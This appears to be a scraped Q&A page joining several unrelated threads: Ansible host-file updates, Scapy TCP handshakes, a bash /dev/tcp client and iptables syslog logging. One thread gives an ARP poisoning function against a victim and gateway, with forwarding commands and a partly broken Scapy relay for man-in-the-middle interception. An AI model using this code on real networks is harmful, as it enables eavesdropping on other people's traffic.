We Keep Coding

Find File differences using for loop starts with specific string with bash or python

I am trying to add Linux machines to ansible host file with automation script. Automation process is;
1- Ansible machine gets Linux vm list which named LinuxVms.txt from one of Vmware server.
2- I developed sh file below. It adds servers into the "[all_linux_host]" tag ,from LinuxVms.txt file. And sh works. (One time operation)
after this process, what I want to do is;
Vmteam will automatically send the LinuxVm.txt list to the ansible server and If the LinuxVm.txt file has new IP address I need to add this IP address to the ansible hosts file, under the "[all_linux_host]" tag.
I am thinking that the,for loop should be work for this. For loop has to control new arrived LinuxVm.txt file and only [all_linux_host] tag (not all tags in ansible host file) if there is a differences between file and tag it has to find that differences and add to the "[all_linux_host]" tag.
For example
LinuxVms.txt
1.1.1.1
2.2.2.2
3.3.3.3
12.12.12.12
current, ansible host file
/etc/ansible/hosts.
[test]
8.8.8.8
12.12.12.12
13.13.13.13
[all_linux_hosts] ## this is the last tag in ansible host file..
1.1.1.1
2.2.2.2
after for loop, ansible host file has to be like this
[test]
8.8.8.8
12.12.12.12
13.13.13.13
[all_linux_hosts] ## IP address order is not import.
1.1.1.1
2.2.2.2
3.3.3.3
12.12.12.12
Can you help me to develop for loop?
One time operation
sudo cp /home/vmteam/LinuxVMs.txt /home/xxx
sudo chown xxx: /home/vmteam/LinuxVMs.txt
sudo dos2unix /home/xxx/LinuxVMs.txt
awk '{print $1}' /home/xxx/LinuxVMs.txt >> ansible_host_file ##file correction
awk '{print $2}' /home/xxx/LinuxVMs.txt >> ansible_host_file ##file correction
sed -i 's/PublicIp//g' /home/xxx/ansible_host_file
sed -i 's/-//g' /home/xxx/ansible_host_file
sed -i '/^\s*$/d' /home/xxx/ansible_host_file
sed -i 's/IpAddress1/ /g' /home/xxx/ansible_host_file
sed -i '/^\s*$/d' /home/xxx/ansible_host_file```

This can be achieved in three stages:
ips=$(awk 'NR==FNR { map[$1]=1;next } map[$1]!=1 { print $1 }' <(sed -n '/^$/d;/^\[all_linux_hosts\]/,/^\[.*\]/{/^\[/!p}' ansible_host_file) linuxvms.txt)
Firstly generate the list of ip addresses from linuxvms.txt that aren't in /etc/ansible/hosts (under the all_linux_hosts tag, achieved through a sed command) We redirect this into awk along with linuxvm.txt and for the first input (NR==FNR) we create an array of ip addresses called map. For the second input we check each ip address and if it isn't in the map array, we print. The resulting output is read into a variable ips
while read ipadd;
do
sed "/\[all_linux_hosts\]/a$ipadd" ansible_host_file;
done <<< "$ips"
We finally loop on the ip addresses and append the addresses under the line "[all_linux_hosts]" This is slightly different from the original requirement but will have no affect in terms of Ansible execution.

One way with awk is as given here.
awk '
NR==FNR {a[$1];next}
$1=="[all_linux_hosts]" {f=1}
f && ( $1 in a ) { delete a[$1] }
{print}
END {
for (host in a) print host
}
' LinuxVms.txt /etc/ansible/hosts
[test]
8.8.8.8
12.12.12.12
13.13.13.13
[all_linux_hosts]
1.1.1.1
2.2.2.2
12.12.12.12
3.3.3.3

packet forwarding while ARP poisoning [in Windows]

I wanted to make a "proxy" while ARP poisoning, it works with UDP and if I send a pkt to google I see it on my pc using wireshark
def trick(gate_mac, victim_mac):
'''Tricks the victim and the gate_way, using arp'''
my_mac=ARP()
my_mac=my_mac.hwsrc
sendp(Ether(dst=ETHER_BROADCAST)/ARP(pdst= victim_ip, psrc = gate_ip, hwdst= victim_mac))
sendp(Ether(dst=ETHER_BROADCAST)/ARP(pdst= gate_ip, psrc = victim_ip, hwdst= my_mac))
print "TRICKED"
that is the function i wrote to arp poison, now I want to send all the packets I get from the victim's pc to the router/
but I have no clue how to do packet forwarding.

You can simply activate your OS packet forwarding. If you're running Linux, a simple sysctl -w net.ipv4.ip_forward=1 should do that.
You may also need to let the packets pass your firewall;something like iptables -A FORWARD -s victim_ip -j ACCEPT; iptables -A FORWARD -d victim_ip -j ACCEPT should work (if you're using Linux, again).
Under other OSes, you need to find out how to enable packet forwarding and if needed add firewall rules. If you cannot enable packet forwarding, you can run another Scapy script to forward packets for you. Here is an example:
VICTIM_MAC = "00:01:23:45:67:89"
GATEWAY_MAC = "00:98:76:54:32:10"
_SRC_DST = {
GATEWAY_MAC: VICTIM_MAC,
VICTIM_MAC: GATEWAY_MAC,
}
def forward_pkt(pkt):
pkt[Ether].dst = _SRC_DST.get(pkt[Ether].src, GATEWAY_MAC)
sendp(dst)
sniff(
prn=forward_pkt,
filter="ip and (ether src %s or ether src %s)" % (VICTIM_MAC,
GATEWAY_MAC)
)

Scapy and TCP stack: avoid the TCP stack of my system to send an RST

I have the following scapy scipt
a=IP(dst="192.168.10.71")/TCP(sport=13998, dport=14010, flags="S", window=1400)
sr1(a)
a=IP(dst="192.168.10.71")/TCP(sport=13998, dport=14010, flags="A", window=1400)
sr1(a)
The first packet is sent to the destination tcp server
Then I received an SYN+ACK from the TCP server:
Then look that the TCP stack of my system send an RST TCP packet, befor that my script send the second TCP packet (ACK) as indicated in the above script
How to avoid the TCP stack of my sytem to send the RST TCP packet after receiving the SYN+ACK from the server? and send instead of it my second TCP packet as indicated in the script?
By the way my TCP server is:
<?php
$socket = stream_socket_server("tcp://0.0.0.0:14010", $errno, $errstr);
if (!$socket) {
echo "$errstr ($errno)<br />\n";
} else {
echo "SERVER TCP (port 14010) started!";
while ($conn = stream_socket_accept($socket)) {
fwrite($conn, 'The local time is ' . date('n/j/Y g:i a') . "\n");
fclose($conn);
}
fclose($socket);
}
?>

The answer to the question is in the following topic:
should add this ip table command
iptables -A OUTPUT -p tcp --tcp-flags RST RST -s 192.168.2.68 -j DROP

TCP client in bash

I have a TCP server written in python and clients in bash.
Client sends data like this
cat file > /dev/tcp/ip/port
and python server sends the response
clientsocket.send('some response')
I can send my data to server, it works fine but when server tries to send response my bash script blocks itself. I tried to use descriptors like below:
exec 3<>/dev/tcp/ip/port
cat file >&3
RESPOND=`cat <&3`
echo $RESPOND
but it does not work (blocks itself)
Thanks in advance

Try using netcat or nc instead. You can set up a server to listen on port 1234 with
command=$(netcat -l 1234)
and you can transmit a message to that host on that port with
echo "message" | nc <host> 1234
or send a file with
nc <host> 1234 < someFile.txt

duplicate log entries in Python UDP syslog server from iptables

I've implemented a basic remote syslog server in Python with the following code:
self.UDPsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.UDPsock.bind(self.addr)
self.UDPsock.settimeout(1)
while self.carryOn:
try:
data = self.UDPsock.recv(self.buf)
print data
except socket.timeout:
pass
I'm using this to receive log messages from my router (Tomato Shibby v108). I'm particularly interested in intercepting messages from my mobile so that I can create a "presence" script.
I originally tried the following iptable entry for testing:
iptables -I FORWARD -s 192.168.2.54 -m limit --limit 1/minute --limit-burst 1 -j LOG
This worked as expected and I would receive messages such as:
<12>Apr 1 21:51:47 kernel: IN=br0 OUT=ppp0 SRC=192.168.2.54 DST=17.158.8.77 LEN=70 TOS=0x00 PREC=0x00 TTL=63 ID=23055 DF PROTO=TCP SPT=60779 DPT=993 WINDOW=65535 RES=0x00 ACK PSH URGP=0 MARK=0x5
However, I don't want to rely on a static IP, so changed the iptable filter to trigger on the MAC address:
iptables -t raw -A PREROUTING -m mac --mac-source SOURCE_MAC -m limit --limit 1/minute --limit-burst 1 -j LOG --log-ip-options
The problem here was that I now received >50 messages per log entry, all duplicates of the form:
<12>Apr 1 19:54:00 kernel: IN=br0 OUT= MAC=DEST_MAC:SOURCE_MAC:08:00 SRC=192.168.2.54 DST=224.0.0.251 LEN=101 TOS=0x00 PREC=0x00 TTL=255 ID=36530 PROTO=UDP SPT=5353 DPT=5353 LEN=81
When I changed the filter to:
iptables -t raw -A PREROUTING -m mac --mac-source SOURCE_MAC -m limit --limit 1/minute --limit-burst 1 -j LOG
It reduced the number of duplicates to 4:
<12>Apr 2 12:21:55 kernel: IN=br0 OUT= MAC=DEST_MAC:SOURCE_MAC:08:00 SRC=192.168.2.54 DST=224.0.0.251 LEN=101 TOS=0x00 PREC=0x00 TTL=255 ID=1384 PROTO=UDP SPT=5353 DPT=5353 LEN=81
Can anyone offer any insight as to why this is happening? I'm assuming there is some sort of "funny" character that is causing this. Can I alter either the iptable entry or the Python program to only receive a single log entry per message?